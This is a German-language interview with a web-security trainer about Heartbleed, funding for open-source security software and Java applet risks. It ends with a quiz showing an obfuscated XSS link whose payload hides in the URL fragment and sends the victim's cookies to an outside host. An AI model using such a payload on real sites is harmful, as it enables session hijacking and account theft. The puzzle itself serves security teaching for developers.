Interview mit Christian Schneider

'Heartbleed hat dem Open-Source-Modell keinen Schaden zugefügt'

Hartmut Schlosser

In dieser Folge des JAX Countdown haben wir uns mit Security-Experten Christian Schneider über das Sicherheitsproblem Java und die Konsequenzen des Heartbleed Bugs unterhalten. Nachdem selbst Laien wie Zeit-Kolumnist Patrick Beuth über das vermeintliche Scheitern des Open-Source-Modells sinnieren durften, rückt Schneider das Bild wieder zurecht: Softwaresicherheit kann es nur mit Open Source geben!

JAXenter: Angesichts des Heartbleed Bugs wird das Thema Sicherheit im Web noch heißer diskutiert als ohnehin bereits. Wie stufen Sie selbst Heartbleed ein?

Christian Schneider: Heartbleed hat verdammt schwer getroffen – in mehrerer Hinsicht: 

  • Zum einen, weil Heartbleed zeigt, dass in einer sicherheitsrelevanten Software seit knapp zwei Jahren ein hochkritischer Bug schlummerte, weitestgehend unbemerkt.
  • Zum anderen, weil Heartbleed demonstriert, dass es möglich ist, die Ausnutzung nahezu unbemerkt für das Opfer auszuführen und Zugriff auf die „Kronjuwelen“ der kryptographisch gesicherten Infrastruktur bietet: die Private-Keys der Server und nebenbei auch noch auf die Sessions und Passwörter der Nutzer. Auch prophylaktische Themen wie Perfect Forward Secrecy (zur Unterbindung von nachträglicher Entschlüsselung aufgezeichneter Daten bei geleaktem Private-Key) gewinnen durch Heartbleed „Praxisbezug“.
  • Und weiterhin, weil Heartbleed aufgrund der schnellen Verfügbarkeit von Exploit-Code nach Veröffentlichung der Lücke zeigt, wie wichtig gute und schnelle Patchprozesse in den Betriebsteams von Unternehmen sind – und ob diese funktioniert haben. Als Beispiel, wo dies nicht so schnell stattfand, kann man u.a. den Yahoo-Login heranziehen, der im Laufe des Tages mit Exploit-Verfügbarkeit noch für mehrere Stunden ungepatched war. Ganz konkret konnten hierdurch Nutzerpasswörter von Yahoo-Accounts „abgeschnorchelt“ werden. Ich persönlich glaube, dass Heartbleed im Nachhinein in so manchem Unternehmen auch zur Verbesserung der Patchprozesse beigetragen hat.

Diese technischen und organisatorischen Auswirkungen zusammengefasst (unbemerkter Zugriff auf die Kronjuwelen und akuter Handlungsbedarf vieler Sites in wenigen Stunden) zeigen einem auf beeindruckende Weise die immense Schwere dieser Sicherheitslücke auf. Selbst nachdem sich die ersten Wogen wieder geglättet haben, kommt nun das Thema Certificate-Revocation wieder auf den Tisch, also wie verlässlich funktioniert das Zurückziehen von Zertifikaten im großen Stil. 

Heartbleed hat somit unglücklicherweise voll ins Herz getroffen und das sogar von technischer und organisatorischer Seite, da nun auch um das Thema Open Source Software und die hierzu notwendigen Ressourcen Diskussionen entfacht sind.

JAXenter: Schuld war die Sicherheitslücke in OpenSSL, das Open Source entwickelt wird – und so ruft manch einer schon das Scheitern des Open-Source-Modells aus (siehe: Die unbequeme Wahrheit über Open Source). Wie sicher ist aus Ihrer Sicht Open Source?

Christian Schneider: Ich bin persönlich der Meinung, dass letztendlich nur Open Source die Lösung für das vermeintliche Dilemma rund um Softwaresicherheit sein kann – jedoch mit entsprechenden Ressourcen ausgestattet. 

Nehmen wir das eher theoretische Beispiel einer gezielten Unterwanderung von sicherheitstechnischen Komponenten in Form einer Backdoor: In Open-Source-Projekten hat man zumindest eine gute Möglichkeit, dies festzustellen – im Vergleich zu Closed-Source-Produkten, wo man entweder auf eine gute Portion Vertrauen gegenüber dem Hersteller und den gesetzlichen Auflagen des Landes des Herstellers angewiesen ist oder auf ein aufwändiges Reverse-Engineering oder eine Zertifizierung durch vertrauenswürdige Dritte. Für versehentlich eingebaute Bugs gilt das ebenso – wenn auch abgeschwächter, da kommerzielle Hersteller und Open Source Community beide Interesse an Bug-freier Software haben. Hier können sich Hersteller proprietärer Software durch einen guten und transparenten Prozess im Umgang mit Sicherheitslücken positiv voneinander abheben – ein Standard, der für die meisten wichtigen Open-Source-Projekte bereits seit langem gegeben ist. 

Durch Heartbleed kann in den Augen einzelner dieses Vorteilsgefüge von Open-Source-Software auseinander geraten sein, und man vermutet gleich ein grundsätzliches Scheitern des Open-Source-Modells. Dies sehe ich nicht so, da in dem Vergleich „proprietär vs. Open-Source“ anhand der Heartbleed-Lücke dies auf unfaire Weise stattfindet, da zumindest eine finanzielle und Ressourcen-technische Grundausstattung von zentralen Open-Source-Projekten gegeben sein muss, um einen solchen Vergleich ziehen zu dürfen. Und bei OpenSSL war bzw. ist das auf kritische Art und Weise nicht der Fall, wenn man nüchtern die Zahlen zwischen 800 und 2.000 US-Dollar an weltweiten Spenden pro Jahr für dieses doch so wichtige Projekt betrachtet.

Um hier das Vertrauen in das Open-Source-Modell aufrechtzuerhalten bzw. durch Bugs wie Heartbleed evtl. verloren geglaubtes Vertrauen zurückzugewinnen, bedarf es zumindest für sicherheitsrelevante Komponenten (zu denen OpenSSL definitiv zählt) einer breiteren Unterstützung durch die Nutznießer dieser Open-Source-Komponenten. Hiermit meine ich nicht zwingend die Endanwender sondern verstärkt die Firmen, welche diese Komponenten (oftmals kostenlos) einsetzen oder in ihre Produkte integrieren. Mit Hilfe entsprechender finanzieller und technischer Unterstützung ist auch ein tiefergehendes Review durch die Community möglich, wie es bei Closed-Source-Komponenten vermutlich nur schwer in gleicher Breite und Tiefe zu erreichen wäre – um wieder bei dem Vergleich zu landen. Insofern freut es mich persönlich sehr, dass nach Heartbleed ein Umdenken der großen Firmen in genau diese Richtung festzustellen ist und nun große Summen an Spendengeldern zur Unterstützung genau dieser sicherheitstechnischen Open-Source-Komponenten gesammelt wurde und weiter gesammelt wird. Vergleicht man dies mit den weltweiten monetären Auswirkungen des Heartbleed-Bugs (Kosten für Betriebsthemen, Zertifikatserneuerung und Revocation, Analyseaufwände in Unternehmen etc.), so sieht man, dass die finanzielle Unterstützung für Projekte wie OpenSSL eine gute und lohnenswerte Investition ist.

Als Positivbeispiel, wo dieses Review durch eine mit Experten ausgestattete Open-Source-Community funktioniert, kann man TrueCrypt heranziehen. Hier hat der erste Teil eines unabhängigen Code-Reviews keine sicherheitstechnisch hochkritischen Bugs oder gar Backdoors im Quellcode von TrueCrypt feststellen können – und die gefundenen (nicht hochkritischen) Bugs werden nun adressiert. Können Sie dies in gleicher Unabhängigkeit über die von Ihnen evtl. eingesetzten proprietären Krypto-Produkte sagen?

Daher betrachte ich Heartbleed als ein Ereignis mit zwei Seiten: Zuerst hat’s weh getan, dann fand ein Umdenken statt und das Ergebnis danach ist deutlich besser und sicherer, als wenn es Heartbleed nicht gegeben hätte. Es ist nun in den Köpfen vieler angekommen, dass Open-Source-Software für sicherheitskritische Komponenten mehr unterstützt werden muss und ein breiteres und tieferes Review notwendig ist, was gerade bei Open Source ja auch möglich und erwünscht ist. Insofern hat Heartbleed dem Open-Source-Modell meiner Meinung nach keinen Schaden zugefügt. Grundsätzlich ist das auch nichts Neues, aber es muss – wie so oft – erstmal etwas Greifbares passieren, bevor gehandelt wird.

JAXenter: Kommen wir einmal auf Java zu sprechen – dem Java-Browser-Plug-in werden ja auch immer wieder Sicherheitslücken nachgesagt. Oracle versucht zwar, Patches schnell nachzuliefern – doch bringen diese auch nur etwas, wenn sie eingespielt werden. Ist nicht die Update-Trägheit das eigentliche Problem?

Christian Schneider: Das Thema Client-Sicherheit in Bezug mit Java-Applets und Flash etc. ist auf jeden Fall von zentraler Bedeutung. Letztlich dient der Browser (wenn man vom Anwender innerhalb von Firmen oder Behörden ausgeht) auch oftmals als „Einfallstor“ für Angriffe auf ein internes Netz: Wenn es ein Angreifer über eine direkte Browser-Lücke (oder eine Lücke in einem Plug-in im Browser) schafft, den Arbeitsplatzrechner zu kompromittieren, bewegt dieser sich bereits im internen Netz hinter der Firewall. 

Die Anzahl an Sicherheitslücken gegen das Java-Plug-in (bzw. Java generell) ist auch dem Wachstum der Basis-Bibliotheken in Java geschuldet. Da Applets über das Java-Plug-in als Browser-Erweiterung ausgeführt werden, liegen diese erweiterten Features in Java (Dinge wie Reflection, JMX MBean-Server oder spezielle ClassLoader, etc.) auch im Zugriff von Applets, welche auf einer Webseite laufen. Aufgrund der Menge an solchen Features gibt es leider auch hin und wieder Sicherheitslücken in diesen, womit bösartige Applets jeweils aus ihrer Browser-gegebenen Sandbox ausbrechen können und den Arbeitsplatzrechner kompromittieren können. Nach der eigentlich nicht möglichen Deaktivierung des Security-Managers (durch die Sicherheitslücke dann doch) kann es lokal wie eine normal gestartete Java-Anwendung auf das Filesystem zugreifen, auf das Netz, und auch Prozesse starten etc.

Das Urproblem ist jedoch nicht, dass Java in irgendeiner Form pauschal unsicher sei. Vielmehr haben wir mit dem Browser als „Rendering-Engine“ von Webseiten die Möglichkeit, diesem auch Code in Form von Applets oder Flash etc. auf einer Webseite zur lokalen Ausführung geben zu können. Somit wird der Browser quasi zu einem „Shared Hoster“, welcher mit unsicherem Code umgehen können muss. Und mit jedem Plug-in bzw. jedem AddOn, welches man in den Browser installiert, steigt dieses Risiko. Es wurde in letzter Zeit auch eine Zunahme von Angriffen auf Browser AddOns beobachtet, was bei dem derzeitigen Stand an möglichen installierbaren Browser-Erweiterungen auch nicht verwundert. Hier mutiert der Browser mehr und mehr in Richtung eines Betriebssystems.

Insofern sind (zumindest bzgl. Java-Applets) die von Oracle getroffenen Maßnahmen gut und sinnvoll: Durch die „Click-to-Play“ Hürde und die erweiterten Anforderungen an die Signatur von Applets ist die versteckte Hintergrundausführung eines (möglicherweise bösartigen) Java-Applets auf einer besuchten Webseite bei weitem nicht mehr so leicht möglich. Zusätzlich haben manche Browser-Hersteller ebenfalls reagiert und deaktivieren eigenständig das Java-Plug-in nach einer gewissen Zeit der Nichtbenutzung komplett, so dass die Anwender es erst wieder in den Einstellungen aktivieren müssen, wenn doch Applets genutzt werden sollen.

Update-Trägheit ist in jeder Hinsicht ein Problem, sowohl für Server als auch für Clients. Parallel zum immer fortwährenden Appell, auch die Clientsysteme privat und in Firmen/Behörden zeitnah auf aktuellem Patchlevel zu halten, kann evtl. eine automatische Hintergrundinstallation ohne Benutzerinteraktion schon Abhilfe schaffen. Browserhersteller sind hierzu in den letzten Jahren bzgl. ihrer Browserversionen und deren Patches ja bereits übergegangen – nicht ohne Grund.

JAXenter: Auf der JAX zeigen Sie Live einige Kniffs der Hacker. Können Sie einen kleinen Vorgeschmack geben?

Christian Schneider: Gerne, hier für die Zielgruppe Web-Entwickler… Machen wir’s kurz und knapp:

Was macht dieser Link, wenn er im Browser eines im Shop eingeloggten Opfers ausgeführt wird (Tipp: der hypothetische Shop besitzt eine XSS-Schwachstelle)?

https://example.com/vulnerable-shop/cart?product=%27%22%3e%3CI%4d%67/s%52C%3D0+O%4e%65rR%6f%52%3Dev%61%6c%28e%76al%28atob%28%27YXRvYihsb2NhdGlvbi5oYXNoLnNsaWNlKDEpKQ%3D%3D%27%29%29%29%3E#c3JjPScvL09sLnZjL3g/Jytkb2N1bWVudC5jb29raWU=

Und welchen Teil davon sieht der arme Shop-Betreiber nachher in seinen Logs nicht und warum?

Christian Schneider (@cschneider4711) ist als freiberuflicher Softwareentwickler, Whitehat Hacker & Trainer tätig. Abseits der klassischen Softwareentwicklung unterstützt er Kunden im Bereich Web Application Security durch Penetrationstests sowie Security Code Audits. In dieser Rolle ist er regelmäßig als Trainer zu Java Web Security tätig und bloggt auf www.Christian-Schneider.net

Sessions auf der JAX 2014:

Fahndung nach der IT-Sicherheit… Das gibt es doch gar nicht mehr, oder doch?

Live-Hacking & Data-Exfiltration (erleben Sie die Sicht eines Angreifers an Praxisbeispielen)

Geschrieben von
Hartmut Schlosser
Hartmut Schlosser
Hartmut Schlosser ist Redakteur und Online-Koordinator bei Software & Support Media. Seine Spezialgebiete liegen bei Java-Enterprise-Technologien, JavaFX, Eclipse und DevOps. Vor seiner Tätigkeit bei S & S Media studierte er Musik, Informatik, französische Philologie und Ethnologie.
Kommentare

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht.